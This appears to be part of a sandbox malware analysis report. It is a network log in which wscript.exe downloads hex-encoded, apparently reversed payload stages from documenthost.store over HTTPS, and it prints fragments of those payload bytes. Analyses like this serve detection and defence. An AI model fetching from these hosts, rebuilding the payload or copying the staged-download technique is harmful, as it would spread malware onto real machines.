2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 34 35 35 38 33 30 34 39 34 34 34 44 37 39 34 31 35 34 34 44 37 39 34 31 34 34 35 41 37 33 36 43 35 37 36 34 34 33 37 38 34 36 36 33 37 36 35 32 33 33 36 31 37 41 35 36 34 37 35 32 36 33 33 35 35 37 36 31 37 34 35 32 35 37 35 39 36 33 34 45 36 45 36 33 36 43 34 45 35 38 35 36 36 33 37 30 37 41 35 31 34 31 34 31 34 31 34 31 34 32 34 39 34 38 35 39 36 46 35 32 36 45 35 30 33 35 36 32 37 32 36 39 34 38 35 32 35 37 36 37 34 38 34 34 36 46 37 36 34 31 34 31 37 37 35 35 34 35 34 45 36 43 35 35 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 35 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 36 35 34 31 35 30 34 31 34 31 37 Data Ascii: 45583049444D7941544D7941445A736C576443784663765233617A5647526335576174525759634E6E636C4E585663707A5141414141424948596F526E50356272694852576748446F7641417755454E6C554141414141414141414141414141414141414141514141414141414141414141414141414141414165415041417
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 37 35 41 34 38 35 36 34 37 36 32 37 30 35 41 35 35 35 41 37 33 36 34 36 44 36 32 37 30 34 45 33 31 36 33 36 45 33 35 35 37 36 31 33 30 35 32 35 38 35 41 35 34 33 35 36 39 36 33 36 43 33 35 33 32 35 41 37 30 34 45 35 38 35 41 34 35 34 45 33 33 35 41 37 35 36 43 34 37 36 34 33 30 35 36 33 32 35 35 37 35 34 44 36 45 36 33 37 36 35 32 35 38 36 31 36 42 35 36 36 42 34 43 37 36 36 43 34 37 35 41 33 31 35 32 33 33 35 35 37 33 34 36 35 37 36 34 37 41 36 43 36 44 35 36 37 35 35 31 36 45 35 41 37 36 34 45 33 33 36 32 37 39 34 45 35 37 36 31 34 45 37 34 34 35 34 31 34 32 36 42 34 36 34 31 34 31 34 31 36 41 34 43 37 37 33 34 34 33 34 44 37 35 36 33 35 34 34 44 34 39 34 39 35 38 35 41 36 42 37 38 35 37 36 31 33 31 34 41 35 35 35 41 36 41 34 41 35 38 36 34 37 36 34 45 Data Ascii: 75A48564762705A555A73646D62704E31636E3557613052585A543569636C35325A704E585A454E335A756C476430563255754D6E63765258616B566B4C766C475A31523355734657647A6C6D5675516E5A764E3362794E57614E744541426B464141416A4C7734434D7563544D4949585A6B785761314A555A6A4A5864764E
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 34 31 34 35 36 37 36 37 34 35 34 31 34 31 34 31 34 32 34 44 34 39 34 32 34 31 34 31 35 31 34 31 34 37 35 33 35 39 37 37 34 31 34 32 34 33 36 46 34 35 34 37 35 31 35 31 36 36 35 33 35 39 37 37 34 31 36 42 34 39 35 32 34 31 36 46 34 39 35 32 34 36 34 37 36 33 35 31 35 39 35 33 34 35 34 31 34 42 35 33 35 35 36 38 34 32 34 38 36 37 36 37 34 35 34 32 36 37 36 39 34 35 35 36 35 39 37 37 34 32 34 44 34 39 35 32 34 31 36 46 34 39 35 32 34 36 34 37 36 33 36 37 34 46 34 42 35 35 36 34 34 35 32 46 33 39 33 31 35 30 37 37 36 39 35 31 36 39 36 37 35 34 35 34 34 37 35 37 37 38 36 43 36 35 33 33 36 39 34 31 34 31 35 34 34 35 36 37 34 33 34 35 34 31 37 37 34 35 34 33 34 31 37 37 34 35 34 37 34 44 34 31 34 31 35 34 34 35 34 31 34 42 35 33 35 35 36 38 34 32 34 33 34 31 37 Data Ascii: 4145676745414141424D494241415141475359774142436F4547515166535977416B4952416F495246476351595345414B535568424867674542676945565977424D4952416F4952464763674F4B5564452F393150776951696754544757786C6533694141544567434541774543417745474D41415445414B5355684243417
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 31 33 36 34 31 34 31 34 39 34 31 35 35 34 37 34 31 37 39 34 32 34 31 36 34 34 31 34 44 34 38 34 31 37 30 34 32 37 37 35 41 34 31 35 35 34 37 34 31 37 39 34 32 34 31 34 39 34 31 35 35 34 37 34 31 36 42 34 32 34 31 34 39 34 31 36 42 34 46 34 31 37 33 34 32 37 37 35 39 34 31 34 31 34 33 34 31 36 38 34 32 34 31 36 32 34 31 34 31 34 33 34 31 36 43 34 32 34 31 35 41 34 31 34 31 34 33 34 31 36 43 34 32 36 37 36 33 34 31 35 35 34 38 34 31 33 30 34 32 37 37 35 39 34 31 35 35 34 37 34 31 37 33 34 32 34 31 34 39 34 31 34 35 34 37 34 31 37 33 34 32 34 31 34 39 34 31 35 35 34 37 34 31 36 42 34 32 34 31 34 39 34 31 34 44 34 38 34 31 37 39 34 32 37 37 36 32 34 31 37 37 34 37 34 31 36 37 34 31 36 37 36 33 34 31 35 35 34 38 34 31 36 43 34 32 36 37 36 33 34 31 34 39 34 38 Data Ascii: 1364141494155474179424164414D48417042775A4155474179424149415547416B424149416B4F41734277594141434168424162414143416C42415A414143416C426763415548413042775941554741734241494145474173424149415547416B424149414D4841794277624177474167416763415548416C426763414948
2024-11-12 12:39:48 UTC	1369	IN	Data Raw: 37 39 35 36 33 33 36 32 37 41 35 36 36 44 35 35 37 35 36 42 35 38 35 34 37 35 34 39 34 37 34 31 37 41 35 36 33 32 35 39 37 39 35 36 33 33 36 32 37 41 35 36 36 44 35 35 37 35 33 30 35 37 35 41 33 30 34 45 35 38 36 35 35 34 34 32 37 37 36 33 36 43 34 45 35 37 36 31 33 32 34 41 35 38 35 41 35 34 34 41 35 38 35 41 37 33 36 43 34 37 36 33 37 34 33 39 33 32 35 31 37 35 35 35 35 37 36 32 37 30 35 32 36 45 36 32 33 31 34 41 36 43 34 43 37 34 35 36 34 37 36 34 37 41 36 43 33 33 35 35 34 31 34 44 35 38 35 41 36 41 36 43 36 44 36 34 37 39 35 36 33 32 35 35 37 39 35 36 34 37 36 32 37 30 34 32 35 38 36 32 37 36 34 45 36 42 34 43 36 41 36 43 33 32 36 33 36 38 34 41 34 35 36 32 36 38 35 36 33 33 36 33 37 30 35 41 36 43 34 43 33 30 35 41 33 32 36 32 37 41 33 39 36 44 36 Data Ascii: 795633627A566D55756B5854754947417A563259795633627A566D557530575A304E5865544277636C4E5761324A585A544A585A736C4763743932517555576270526E62314A6C4C745647647A6C3355414D585A6A6C6D64795632557956476270425862764E6B4C6A6C3263684A456268563363705A6C4C305A32627A396D6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.215.48	443	7252	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:39:49 UTC	158	OUT	GET /2910/r HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: documenthost.store
2024-11-12 12:39:49 UTC	813	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:39:49 GMT Content-Length: 38912 Connection: close Last-Modified: Wed, 09 Oct 2024 05:50:42 GMT ETag: "9800-62404d5968a93" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWpBswhfHBFpgb9qVl1ck9M0CuCBmHoMS0ucF8UmUWGa71n7lCzKOIku0rFzTBZOpKajaOdCjLB7pDKaRfleMFO3tMSihmETxr4OSrr5Lt3NM7SI0ffWPyTgFFSHogqMPK8EpTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1696471cd0e786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1151&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=772&delivery_rate=2470989&cwnd=239&unsent_bytes=0&cid=6c3c0bea8d1fc98b&ts=403&x=0"
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 31 34 30 30 31 30 30 30 38 30 30 30 38 33 30 30 30 30 30 30 30 33 30 30 45 32 30 30 30 33 30 30 45 32 30 30 30 33 30 30 45 32 30 30 31 33 30 30 30 30 30 30 45 36 30 30 46 36 30 30 39 36 30 30 33 37 30 30 32 37 30 30 35 36 30 30 36 35 30 30 34 37 30 30 33 36 30 30 35 37 30 30 34 36 30 30 46 36 30 30 32 37 30 30 30 35 30 30 31 30 30 30 38 30 30 30 34 33 30 30 30 30 30 30 34 33 30 30 32 33 30 30 30 33 30 30 31 33 30 30 39 33 30 30 30 33 30 30 34 36 30 30 43 36 30 30 39 36 30 30 35 37 30 30 32 34 30 30 30 30 30 30 30 30 30 30 35 36 30 30 44 36 30 30 31 36 30 30 45 34 30 30 34 37 30 30 33 36 30 30 35 37 30 30 34 36 30 30 46 36 30 30 32 37 30 30 30 35 30 30 31 30 30 30 43 30 30 30 38 33 30 30 30 30 30 30 43 36 30 30 43 36 30 30 34 36 30 30 45 32 30 30 34 33 Data Ascii: 0140010008000830000000300E2000300E2000300E20013000000E600F600960037002700560065004700360057004600F6002700050010008000430000004300230003001300930003004600C600960057002400000000005600D6001600E4004700360057004600F600270005001000C00083000000C600C6004600E20043
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 33 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 45 46 46 45 34 30 44 42 30 30 30 30 30 30 30 30 30 30 46 34 30 30 36 34 30 30 45 34 30 30 39 34 30 30 46 35 30 30 45 34 30 30 46 34 30 30 39 34 30 30 33 35 30 30 32 35 30 30 35 34 30 30 36 35 30 30 46 35 30 30 33 35 30 30 36 35 30 30 30 30 30 30 34 33 33 30 43 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 33 30 43 32 30 30 30 30 30 38 38 35 30 30 30 30 30 30 38 34 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 33 30 30 30 30 30 30 31 30 30 Data Ascii: 0000200000004000000000000000F30000000000100000000000000010000000100000EFFE40DB0000000000F4006400E4009400F500E400F40094003500250054006500F5003500650000004330C20000000000000000000030C20000088500000084000000000010000000000000000000000000000008000003000000100
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 32 39 37 44 34 42 30 30 30 31 30 30 31 30 30 30 30 33 37 35 36 33 36 39 36 36 37 32 37 35 36 33 35 32 36 35 36 37 35 45 32 39 37 44 34 45 30 30 30 31 30 33 31 30 30 30 30 32 37 35 36 33 37 35 35 45 32 39 37 44 34 37 30 30 30 31 30 43 30 30 30 30 30 45 36 46 36 39 36 34 37 31 36 33 36 39 36 43 36 30 37 30 37 31 34 45 32 39 37 44 34 45 30 30 30 31 30 33 31 30 30 30 30 32 37 35 36 34 37 35 37 30 37 44 36 46 36 33 34 45 32 39 37 44 34 42 30 30 30 31 30 30 31 30 30 30 30 30 30 46 35 46 35 35 36 33 36 45 36 31 36 34 37 33 37 45 36 39 34 46 35 46 35 35 36 33 37 46 36 30 37 33 37 39 36 34 34 33 31 46 35 46 35 35 36 33 36 45 36 31 36 34 37 33 37 45 36 39 34 46 35 46 35 35 36 34 37 31 36 35 36 32 37 33 34 32 31 43 36 46 36 33 36 46 36 34 37 46 36 32 37 30 35 34 37 Data Ascii: 297D4B000100100003756369667275635265675E297D4E0001031000027563755E297D4700010C00000E6F69647163696C6070714E297D4E000103100002756475707D6F634E297D4B0001001000000F5F55636E6164737E694F5F55637F60737964431F5F55636E6164737E694F5F556471656273421C6F636F647F6270547
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 30 36 30 45 30 35 30 44 31 31 30 30 30 35 30 32 30 35 30 44 31 45 30 45 30 32 30 34 30 30 30 38 30 38 31 38 30 31 30 30 30 34 30 38 30 38 30 38 30 38 30 38 31 38 30 35 30 30 30 38 30 38 30 38 31 38 30 32 30 30 30 35 30 38 30 30 31 38 30 35 30 44 31 38 30 38 31 32 30 35 30 30 30 41 30 38 30 30 31 38 30 38 30 30 31 38 30 38 31 32 30 35 30 30 30 41 30 38 30 44 31 38 31 32 30 32 30 30 30 36 30 30 33 31 31 30 31 34 33 31 31 30 31 45 30 38 31 39 30 32 30 38 31 38 31 45 30 45 30 32 30 41 30 30 30 31 31 38 31 32 31 30 30 30 30 34 30 31 38 30 38 32 31 31 30 31 30 30 30 36 30 31 38 30 38 32 31 30 30 30 30 35 30 44 37 32 31 30 30 30 30 34 30 38 32 32 31 30 30 30 30 34 30 31 36 32 31 30 30 30 30 34 30 38 30 32 31 30 30 30 30 34 30 43 30 32 31 30 30 30 30 34 30 35 Data Ascii: 0060E050D11000502050D1E0E020400080818010004080808080818050008080818020005080018050D18081205000A080018080018081205000A080D18120200060031101431101E08190208181E0E020A00011812100004018082110100060180821000050D721000040822100004016210000408021000040C0210000405
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 45 30 45 30 38 30 33 30 30 30 36 30 45 30 36 30 32 30 33 30 45 30 31 30 30 30 34 30 38 30 33 30 31 30 30 32 34 30 45 30 30 30 30 30 33 30 45 30 45 30 45 30 32 30 30 30 35 30 45 30 31 30 31 30 30 30 34 30 32 30 44 38 30 38 32 31 32 30 35 30 44 31 32 30 32 30 32 30 32 30 32 30 32 30 45 30 45 30 35 30 44 31 45 30 45 30 45 30 45 30 45 30 32 31 37 30 38 31 43 31 45 30 31 30 32 30 30 32 35 30 44 38 30 38 32 31 39 39 30 38 32 31 32 30 33 30 37 30 39 30 32 30 45 30 39 39 30 38 32 31 32 30 30 32 37 30 44 38 30 38 32 31 39 39 30 38 32 31 45 30 45 30 34 30 37 30 41 30 43 31 35 31 31 38 31 31 43 31 31 31 31 38 31 31 33 30 30 30 41 30 38 30 45 30 35 30 32 30 30 30 35 30 38 30 38 30 45 30 32 30 30 32 35 30 38 30 30 30 30 32 33 30 35 30 31 30 35 39 30 38 32 31 35 31 Data Ascii: 0E0E080300060E0602030E01000408030100240E0000030E0E0E0200050E01010004020D808212050D1202020202020E0E050D1E0E0E0E0E0217081C1E010200250D808219908212030709020E0990821200270D80821990821E0E04070A0C1511811C11118113000A080E0502000508080E020025080000230501059082151
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 30 30 45 36 30 30 34 37 30 30 46 32 30 30 30 32 30 30 35 36 30 30 34 37 30 30 35 36 30 30 43 36 30 30 35 36 30 30 34 36 30 30 46 32 39 31 30 30 30 30 35 36 30 30 38 37 30 30 35 36 30 30 45 32 30 30 33 37 30 30 42 36 30 30 33 37 30 30 31 36 30 30 34 37 30 30 38 36 30 30 33 36 30 30 33 37 39 31 30 30 30 30 30 32 30 30 41 33 30 30 30 32 30 30 32 37 30 30 35 37 30 30 35 36 30 30 32 37 30 30 32 37 30 30 35 34 33 31 31 30 30 30 32 32 30 30 34 37 30 30 33 37 30 30 39 36 30 30 43 34 30 30 44 32 30 30 34 37 30 30 31 36 30 30 44 36 30 30 32 37 30 30 46 36 30 30 36 34 30 30 30 32 30 30 43 37 30 30 30 32 30 30 44 37 30 30 30 32 30 30 37 32 30 30 43 35 30 30 37 32 30 30 30 32 30 30 31 37 30 30 35 36 30 30 44 32 30 30 30 32 30 30 38 36 30 30 34 37 30 30 31 36 30 30 30 Data Ascii: 00E6004700F2000200560047005600C60056004600F2910000560087005600E2003700B60037001600470086003600379100000200A300020027005700560027002700543110002200470037009600C400D20047001600D6002700F60064000200C7000200D70002007200C5007200020017005600D20002008600470016000
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 36 30 30 32 37 30 30 30 35 30 30 43 35 30 30 41 33 37 35 30 30 30 30 43 35 30 30 39 33 30 30 31 33 30 30 33 33 30 30 30 33 30 30 33 33 30 30 45 32 30 30 30 33 30 30 45 32 30 30 34 33 30 30 36 37 30 30 43 35 30 30 42 36 30 30 32 37 30 30 46 36 30 30 37 37 30 30 35 36 30 30 44 36 30 30 31 36 30 30 32 37 30 30 36 34 30 30 43 35 30 30 34 35 30 30 35 34 30 30 45 34 30 30 45 32 30 30 34 37 30 30 36 36 30 30 46 36 30 30 33 37 30 30 46 36 30 30 32 37 30 30 33 36 30 30 39 36 30 30 44 34 30 30 43 35 39 34 30 30 30 30 43 35 30 30 37 33 30 30 32 33 30 30 37 33 30 30 30 33 30 30 35 33 30 30 45 32 30 30 30 33 30 30 45 32 30 30 32 33 30 30 36 37 30 30 43 35 30 30 42 36 30 30 32 37 30 30 46 36 30 30 37 37 30 30 35 36 30 30 44 36 30 30 31 36 30 30 32 37 30 30 36 34 30 30 Data Ascii: 60027000500C500A3750000C50093001300330003003300E2000300E20043006700C500B6002700F60077005600D600160027006400C50045005400E400E20047006600F6003700F600270036009600D400C5940000C50073002300730003005300E2000300E20023006700C500B6002700F60077005600D600160027006400
2024-11-12 12:39:49 UTC	1369	IN	Data Raw: 46 36 39 37 31 36 43 34 34 36 32 37 31 36 46 36 32 36 39 37 35 36 42 34 34 37 35 36 37 34 30 30 34 37 33 37 35 36 35 37 31 37 35 36 32 35 32 36 35 36 37 35 30 37 34 37 34 37 38 34 30 30 34 37 32 37 35 36 36 37 45 36 46 36 33 34 30 30 34 37 32 37 31 36 34 37 33 35 30 30 34 37 45 36 35 37 46 36 33 34 46 35 34 37 35 36 37 36 30 30 34 37 45 36 35 36 32 37 32 37 35 37 33 34 46 35 34 37 35 36 37 36 30 30 34 37 45 36 35 36 44 36 45 36 46 36 32 37 39 36 36 37 45 36 35 34 30 30 34 37 45 36 35 36 44 36 35 36 45 36 45 36 46 36 32 37 39 36 36 37 45 36 35 36 30 30 34 37 45 36 31 36 32 37 35 37 46 36 33 34 35 36 32 37 39 36 46 36 34 37 32 37 35 36 30 37 35 36 32 37 30 30 34 37 43 36 35 37 33 37 35 36 32 35 38 37 46 36 32 34 37 36 33 37 44 34 30 30 34 37 43 36 35 37 31 Data Ascii: F69716C4462716F6269756B44756740047375657175625265675074747840047275667E6F6340047271647350047E657F634F54756760047E65627275734F54756760047E656D6E6F6279667E6540047E656D656E6E6F6279667E6560047E6162757F634562796F64727560756270047C65737562587F6247637D40047C6571
2024-11-12 12:39:50 UTC	1369	IN	Data Raw: 37 34 37 35 36 33 35 39 37 44 34 30 30 33 37 37 36 45 36 39 36 34 37 34 37 35 36 33 35 46 35 34 37 35 36 37 36 30 30 33 37 37 36 45 36 39 36 32 37 34 37 33 35 30 30 33 37 35 36 34 37 39 37 32 34 34 37 35 36 37 34 30 30 33 37 35 36 33 37 33 37 35 36 33 36 46 36 32 37 30 35 34 37 35 36 37 34 30 30 33 37 35 36 32 37 34 37 35 36 44 36 31 36 32 37 31 36 30 37 30 30 33 37 35 36 44 36 31 36 45 34 35 36 35 37 43 36 31 36 36 35 34 37 35 36 37 34 30 30 33 37 35 36 43 36 39 36 36 34 34 37 35 36 37 34 30 30 33 37 35 36 43 36 34 36 45 36 31 36 38 34 32 37 35 36 32 37 35 36 37 36 30 30 33 37 35 36 43 36 32 36 31 36 34 35 46 35 34 37 35 36 37 36 30 30 33 37 35 36 38 36 33 36 34 37 31 36 44 34 30 30 33 37 35 36 35 36 39 36 36 36 39 36 45 36 31 36 43 36 30 35 33 37 35 36 Data Ascii: 747563597D4003776E69647475635F5475676003776E69627473500375647972447567400375637375636F62705475674003756274756D616271607003756D616E45657C61665475674003756C69664475674003756C646E616842756275676003756C6261645F547567600375686364716D400375656966696E616C6053756

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.215.48	443	7252	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:39:50 UTC	181	OUT	GET /2910/E93ukvxugzIRTSVJZUqI.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: documenthost.store
2024-11-12 12:39:51 UTC	847	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:39:51 GMT Content-Type: text/plain Content-Length: 480256 Connection: close Last-Modified: Thu, 31 Oct 2024 11:02:41 GMT ETag: "75400-625c3c1d5c3c2" Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pGCd1aDHdvYAbVl%2FlUJVnSwQDoJCgjxPoW1sAkP4obYo0bhv1Qenj1wJtQPxVnjvnVteCdn6Yyh%2FtDqGR1qThn1GSuO7lC2fgb1I9ZH%2F5Tk63aSTpiNPZWV0Tzo%2FAr9RUgUvXps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e16964f9ca8e7e7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1350&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=795&delivery_rate=2080459&cwnd=251&unsent_bytes=0&cid=965ae457a2686eb2&ts=414&x=0"
2024-11-12 12:39:51 UTC	522	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 32 34 37 36 36 46 36 33 37 46 36 32 37 33 36 39 36 44 36 44 32 33 37 31 36 44 36 35 36 38 36 33 36 33 37 41 33 45 36 32 37 35 37 32 32 44 33 33 37 45 36 43 36 44 36 38 37 30 32 46 36 36 36 45 36 39 34 34 37 33 37 35 37 32 37 34 37 43 33 30 32 30 32 41 30 44 30 45 33 46 32 32 32 30 37 30 37 31 36 45 32 45 36 46 36 39 36 34 37 31 36 33 36 39 36 43 36 30 37 30 37 31 34 39 37 44 34 32 32 44 33 35 36 44 36 31 36 45 36 30 32 32 32 30 33 45 32 30 33 45 32 30 33 45 32 31 33 32 32 44 33 45 36 46 36 39 36 33 37 32 37 35 36 36 37 30 32 39 37 34 37 39 36 34 37 45 36 35 36 34 36 39 34 39 37 43 36 32 36 44 36 35 36 33 37 33 37 31 36 43 33 30 32 30 32 41 30 44 30 45 33 32 32 30 33 45 32 31 33 32 32 44 33 45 36 46 36 39 36 33 37 32 37 35 36 36 35 34 37 33 37 35 36 36 36 Data Ascii: 24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D68702F666E6944737572747C30202A0D0E3F222070716E2E6F69647163696C607071497D422D356D616E6022203E203E203E21322D3E6F696372756670297479647E656469497C626D656373716C30202A0D0E32203E21322D3E6F6963727566547375666
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 45 36 30 30 46 36 30 30 39 36 30 30 34 37 30 30 30 37 30 30 39 36 30 30 32 37 30 30 33 36 30 30 33 37 30 30 35 36 30 30 34 34 30 30 35 36 30 30 43 36 30 30 39 36 30 30 36 34 30 30 31 30 30 30 32 30 30 30 43 32 30 30 30 30 30 30 30 33 30 30 32 36 30 30 34 33 30 30 30 33 30 30 30 33 30 30 30 33 30 30 30 33 30 30 30 33 30 30 31 30 30 30 30 30 31 30 38 46 30 30 30 30 30 30 46 36 30 30 36 36 30 30 45 36 30 30 39 34 30 30 35 36 30 30 43 36 30 30 39 36 30 30 36 34 30 30 37 36 30 30 45 36 30 30 39 36 30 30 32 37 30 30 34 37 30 30 33 35 30 30 31 30 30 30 30 30 32 30 43 31 34 30 30 42 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 36 30 30 46 36 30 30 39 36 30 30 34 37 30 30 31 36 30 30 43 36 30 30 33 37 30 30 45 36 30 30 31 36 30 30 32 37 30 30 34 Data Ascii: 000000E600F6009600470007009600270036003700560044005600C6009600640010002000C200000003002600430003000300030003000300100000108F000000F6006600E60094005600C600960064007600E600960027004700350010000020C1400B00000000000000E600F600960047001600C6003700E600160027004
2024-11-12 12:39:51 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 32 30 30 35 32 46 46 30 30 30 30 30 30 30 30 30 30 43 36 43 36 34 36 45 32 35 36 35 36 32 37 46 36 33 36 33 37 44 36 30 30 45 36 39 36 31 36 44 34 35 36 38 37 35 34 32 37 46 36 33 34 46 35 30 30 30 30 30 30 30 30 30 30 30 30 30 30 33 30 45 42 30 41 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 33 30 45 42 45 41 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004020052FF0000000000C6C646E2565627F63637D600E69616D456875427F634F50000000000000030EB0A0000000000000000000000000000000000000000000002000030EBEA000000000000
